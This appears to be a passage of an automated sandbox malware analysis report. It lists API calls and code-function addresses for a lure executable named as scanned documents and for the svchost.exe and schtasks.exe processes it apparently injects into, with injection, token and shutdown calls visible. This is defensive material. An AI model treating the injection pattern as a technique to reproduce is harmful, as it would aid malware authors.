Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72DD0 NtDelayExecution,	1_2_03C72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72DB0 NtEnumerateKey,	1_2_03C72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72D00 NtSetInformationFile,	1_2_03C72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72D10 NtMapViewOfSection,	1_2_03C72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72D30 NtUnmapViewOfSection,	1_2_03C72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72CC0 NtQueryVirtualMemory,	1_2_03C72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72CF0 NtOpenProcess,	1_2_03C72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72CA0 NtQueryInformationToken,	1_2_03C72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72C60 NtCreateKey,	1_2_03C72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72C70 NtFreeVirtualMemory,	1_2_03C72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72C00 NtQueryInformationProcess,	1_2_03C72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C73090 NtSetValueKey,	1_2_03C73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C73010 NtOpenDirectoryObject,	1_2_03C73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C739B0 NtGetContextThread,	1_2_03C739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C73D70 NtOpenThread,	1_2_03C73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C73D10 NtOpenProcessToken,	1_2_03C73D10
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F4340 NtSetContextThread,LdrInitializeThunk,	4_2_036F4340
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F4650 NtSuspendThread,LdrInitializeThunk,	4_2_036F4650
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2B60 NtClose,LdrInitializeThunk,	4_2_036F2B60
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2AF0 NtWriteFile,LdrInitializeThunk,	4_2_036F2AF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2AD0 NtReadFile,LdrInitializeThunk,	4_2_036F2AD0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2F30 NtCreateSection,LdrInitializeThunk,	4_2_036F2F30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2FE0 NtCreateFile,LdrInitializeThunk,	4_2_036F2FE0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2FB0 NtResumeThread,LdrInitializeThunk,	4_2_036F2FB0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2EE0 NtQueueApcThread,LdrInitializeThunk,	4_2_036F2EE0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2D30 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_036F2D30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2D10 NtMapViewOfSection,LdrInitializeThunk,	4_2_036F2D10
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_036F2DF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2DD0 NtDelayExecution,LdrInitializeThunk,	4_2_036F2DD0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2C60 NtCreateKey,LdrInitializeThunk,	4_2_036F2C60
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_036F2C70
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2CA0 NtQueryInformationToken,LdrInitializeThunk,	4_2_036F2CA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F35C0 NtCreateMutant,LdrInitializeThunk,	4_2_036F35C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F39B0 NtGetContextThread,LdrInitializeThunk,	4_2_036F39B0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2BE0 NtQueryValueKey,	4_2_036F2BE0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2BF0 NtAllocateVirtualMemory,	4_2_036F2BF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2BA0 NtEnumerateValueKey,	4_2_036F2BA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2B80 NtQueryInformationFile,	4_2_036F2B80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2AB0 NtWaitForSingleObject,	4_2_036F2AB0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2F60 NtCreateProcessEx,	4_2_036F2F60
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2FA0 NtQuerySection,	4_2_036F2FA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2F90 NtProtectVirtualMemory,	4_2_036F2F90
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2E30 NtWriteVirtualMemory,	4_2_036F2E30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2EA0 NtAdjustPrivilegesToken,	4_2_036F2EA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2E80 NtReadVirtualMemory,	4_2_036F2E80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2D00 NtSetInformationFile,	4_2_036F2D00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2DB0 NtEnumerateKey,	4_2_036F2DB0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2C00 NtQueryInformationProcess,	4_2_036F2C00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2CF0 NtOpenProcess,	4_2_036F2CF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F2CC0 NtQueryVirtualMemory,	4_2_036F2CC0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F3010 NtOpenDirectoryObject,	4_2_036F3010
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F3090 NtSetValueKey,	4_2_036F3090
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F3D70 NtOpenThread,	4_2_036F3D70
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F3D10 NtOpenProcessToken,	4_2_036F3D10
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B37B90 NtDeleteFile,	4_2_02B37B90
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B37940 NtCreateFile,	4_2_02B37940
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B37C30 NtClose,	4_2_02B37C30

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002ED5EB: CreateFileW,DeviceIoControl,CloseHandle,

0_2_002ED5EB

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002E1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_002E1201

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002EE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_002EE8F6

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_0028BF40	0_2_0028BF40
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_00288060	0_2_00288060
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F2046	0_2_002F2046
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002E8298	0_2_002E8298
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002BE4FF	0_2_002BE4FF
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002B676B	0_2_002B676B
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_00314873	0_2_00314873
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002ACAA0	0_2_002ACAA0
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_0028CAF0	0_2_0028CAF0
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_0029CC39	0_2_0029CC39
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002B6DD9	0_2_002B6DD9
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_0029D064	0_2_0029D064
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_0029B119	0_2_0029B119
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002891C0	0_2_002891C0
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A1394	0_2_002A1394
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A1706	0_2_002A1706
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A781B	0_2_002A781B
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_00287920	0_2_00287920
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_0029997D	0_2_0029997D
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A19B0	0_2_002A19B0
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A7A4A	0_2_002A7A4A
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A1C77	0_2_002A1C77
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A7CA7	0_2_002A7CA7
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_0030BE44	0_2_0030BE44
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002B9EEE	0_2_002B9EEE
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A1F32	0_2_002A1F32
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_03203610	0_2_03203610
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004100E3	1_2_004100E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040109D	1_2_0040109D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004010A0	1_2_004010A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E163	1_2_0040E163
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402A49	1_2_00402A49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402A50	1_2_00402A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004033E0	1_2_004033E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FEC3	1_2_0040FEC3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042D6E3	1_2_0042D6E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402EB0	1_2_00402EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FEBB	1_2_0040FEBB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004167CE	1_2_004167CE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004027D0	1_2_004027D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004167D3	1_2_004167D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4E3F0	1_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D003E6	1_2_03D003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFA352	1_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC02C0	1_2_03CC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF81CC	1_2_03CF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF41A2	1_2_03CF41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D001AA	1_2_03D001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC8158	1_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C30100	1_2_03C30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDA118	1_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD2000	1_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3C7C0	1_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C64750	1_2_03C64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5C6E0	1_2_03C5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D00591	1_2_03D00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40535	1_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEE4F6	1_2_03CEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF2446	1_2_03CF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE4420	1_2_03CE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF6BD7	1_2_03CF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFAB40	1_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D0A9A6	1_2_03D0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C56962	1_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E8F0	1_2_03C6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C268B8	1_2_03C268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4A840	1_2_03C4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C42840	1_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C32FC8	1_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBEFA0	1_2_03CBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB4F40	1_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C82F28	1_2_03C82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C60F30	1_2_03C60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE2F30	1_2_03CE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFEEDB	1_2_03CFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C52E90	1_2_03C52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFCE93	1_2_03CFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40E59	1_2_03C40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFEE26	1_2_03CFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3ADE0	1_2_03C3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C58DBF	1_2_03C58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4AD00	1_2_03C4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDCD1F	1_2_03CDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C30CF2	1_2_03C30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0CB5	1_2_03CE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40C00	1_2_03C40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C8739A	1_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2D34C	1_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF132D	1_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5B2C0	1_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE12ED	1_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5D2F0	1_2_03C5D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C452A0	1_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4B1B0	1_2_03C4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C7516C	1_2_03C7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2F172	1_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D0B16B	1_2_03D0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEF0CC	1_2_03CEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C470C0	1_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF70E9	1_2_03CF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFF0E0	1_2_03CFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFF7B0	1_2_03CFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF16CC	1_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C85630	1_2_03C85630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D095C3	1_2_03D095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDD5B0	1_2_03CDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF7571	1_2_03CF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C31460	1_2_03C31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFF43F	1_2_03CFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB5BF0	1_2_03CB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C7DBF9	1_2_03C7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5FB80	1_2_03C5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFFB76	1_2_03CFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEDAC6	1_2_03CEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDDAAC	1_2_03CDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C85AA0	1_2_03C85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE1AA3	1_2_03CE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFFA49	1_2_03CFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF7A46	1_2_03CF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB3A6C	1_2_03CB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C49950	1_2_03C49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5B950	1_2_03C5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD5910	1_2_03CD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C438E0	1_2_03C438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAD800	1_2_03CAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C03FD2	1_2_03C03FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C03FD5	1_2_03C03FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C41F92	1_2_03C41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFFFB1	1_2_03CFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFFF09	1_2_03CFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C49EB0	1_2_03C49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5FDC0	1_2_03C5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C43D40	1_2_03C43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF1D5A	1_2_03CF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF7D73	1_2_03CF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFFCF2	1_2_03CFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB9C32	1_2_03CB9C32
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E9203E	3_2_03E9203E
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E93FBE	3_2_03E93FBE
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E9A6A9	3_2_03E9A6A9
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E9A6AE	3_2_03E9A6AE
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03EB15BE	3_2_03EB15BE
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E93D9E	3_2_03E93D9E
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E93D96	3_2_03E93D96
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377A352	4_2_0377A352
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036CE3F0	4_2_036CE3F0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_037803E6	4_2_037803E6
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03760274	4_2_03760274
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_037402C0	4_2_037402C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03748158	4_2_03748158
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036B0100	4_2_036B0100
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0375A118	4_2_0375A118
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_037781CC	4_2_037781CC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_037801AA	4_2_037801AA
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03752000	4_2_03752000
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C0770	4_2_036C0770
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036E4750	4_2_036E4750
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036BC7C0	4_2_036BC7C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036DC6E0	4_2_036DC6E0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C0535	4_2_036C0535
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03780591	4_2_03780591
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03772446	4_2_03772446
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03764420	4_2_03764420
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0376E4F6	4_2_0376E4F6
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377AB40	4_2_0377AB40
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03776BD7	4_2_03776BD7
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036BEA80	4_2_036BEA80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036D6962	4_2_036D6962
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C29A0	4_2_036C29A0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0378A9A6	4_2_0378A9A6
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036CA840	4_2_036CA840
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C2840	4_2_036C2840
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036EE8F0	4_2_036EE8F0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036A68B8	4_2_036A68B8
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03734F40	4_2_03734F40
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03762F30	4_2_03762F30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03702F28	4_2_03702F28
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036E0F30	4_2_036E0F30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036B2FC8	4_2_036B2FC8
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0373EFA0	4_2_0373EFA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C0E59	4_2_036C0E59
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377EE26	4_2_0377EE26
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377EEDB	4_2_0377EEDB
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377CE93	4_2_0377CE93
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036D2E90	4_2_036D2E90
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0375CD1F	4_2_0375CD1F
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036CAD00	4_2_036CAD00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036BADE0	4_2_036BADE0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036D8DBF	4_2_036D8DBF
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C0C00	4_2_036C0C00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036B0CF2	4_2_036B0CF2
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03760CB5	4_2_03760CB5
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036AD34C	4_2_036AD34C
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377132D	4_2_0377132D
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0370739A	4_2_0370739A
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_037612ED	4_2_037612ED
